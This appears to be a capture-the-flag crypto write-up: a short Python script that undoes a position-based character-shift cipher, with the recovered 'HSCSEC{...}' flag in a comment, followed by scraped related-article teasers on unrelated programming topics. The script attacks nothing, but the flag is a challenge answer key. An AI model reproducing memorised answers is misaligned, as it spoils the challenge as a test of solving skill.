alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'
c = 'GRBRDB`jg10ij2g01i,g201gi,2gi2,012igaigagi|'

f1 = [alphabet.find(v)+1 for v in c]
f2 = [v+1-i for i,v in enumerate(f1)]
f3 = [alphabet[v-1] for v in f2]
f4 = [alphabet[(alphabet.find(v)+i)%94] for i,v in enumerate(f3)]
print(''.join(f4))
#HSCSEC{kh21jk3h12j-h312hj-3hj3-123jhbjhbhj}


http://www.niftyadmin.cn/n/62997.html

相关文章

SpingMVC获取请求参数

通过ServletAPI获取请求参数将HttpServletRequest作为控制器方法的形参&#xff0c;此时HttpServletRequest类型的参数表示封装了当前请求的请求报文的对象。html<form th:action"{/param/servletAPI}" method"post">用户名&#xff1a;<input ty…

[AAAI 2023] Oral : Zero-shot 零样本/ Few-shot 少样本收录论文集合

零样本 (7篇)&#xff1a; CALIP: Zero-Shot Enhancement of CLIP with Parameter-free AttentionGuo Ziyu; Zhang Renrui; Qiu Longtian; ma Xianzheng; Miao Xupeng; He Xuming; Cui BinMaximum Entropy Population-Based Training for Zero-Shot Human-AI CoordinationZhao …

使用muduo编写webserver

使用muduo编写webserver 因为学习了muduo库&#xff0c;想通过muduo库写一个webserver作为项目&#xff0c;在muduo和tinyWebserver的基础上改了一下&#xff0c;简单的把他们融合了一下。 httpserver 在muduo原本的httpserver的基础上进行了改造&#xff0c;加入简单的数据库…

电商新趋势来临!?解析Dtop 环球嘉年华电商是否值得加入!

近年来,电商平台的发展瞬息万变,加上疫情的推波助澜,让全球的电子商务来到前所未有的光景,营业销售额直达颠覆性的增长。 许多商家也因此纷涌而入,谋划分得电子商务的一杯羹。随着参与成为电商的商家日益剧增,商家们想从中谋利也不是件易事。再加上市场不断洗牌的形势下,传统电…

MATLAB | 有关数值矩阵、颜色图及颜色列表的技巧整理

这是一篇有关数值矩阵、颜色矩阵、颜色列表的技巧整合&#xff0c;会以随笔的形式想到哪写到哪&#xff0c;可能思绪会比较飘逸请大家见谅&#xff0c;本文大体分为以下几个部分&#xff1a; 数值矩阵用颜色显示从颜色矩阵提取颜色从颜色矩阵中提取数据颜色列表相关函数颜色测…

C++蓝桥杯 真题 跑步锻炼

题目描述 本题为填空题&#xff0c;只需要算出结果后&#xff0c;在代码中使用输出语句将所填结果输出即可。 小蓝每天都锻炼身体。正常情况下&#xff0c;小蓝每天跑 1 千米。如果某天是周一或者月初&#xff08;1 日&#xff09;&#xff0c;为了激励自己&#xff0c;小蓝要…

【SQL开发实战技巧】系列(十三):讨论一下常用聚集函数通过执行计划看sum()over()对员工工资进行累加

系列文章目录 【SQL开发实战技巧】系列&#xff08;一&#xff09;:关于SQL不得不说的那些事 【SQL开发实战技巧】系列&#xff08;二&#xff09;&#xff1a;简单单表查询 【SQL开发实战技巧】系列&#xff08;三&#xff09;&#xff1a;SQL排序的那些事 【SQL开发实战技巧…

附录2-tensorflow目标检测

源码来自作者Bubbliiiing&#xff0c;我对参考链接的代码略有修改&#xff0c;网盘地址 链接&#xff1a;百度网盘 请输入提取码 提取码&#xff1a;dvb1 目录 1 参考链接 2 环境 3 数据集准备 3.1 VOCdevkit/VOC2007 3.2 model_data/voc_classes.txt 3.3 voc_an…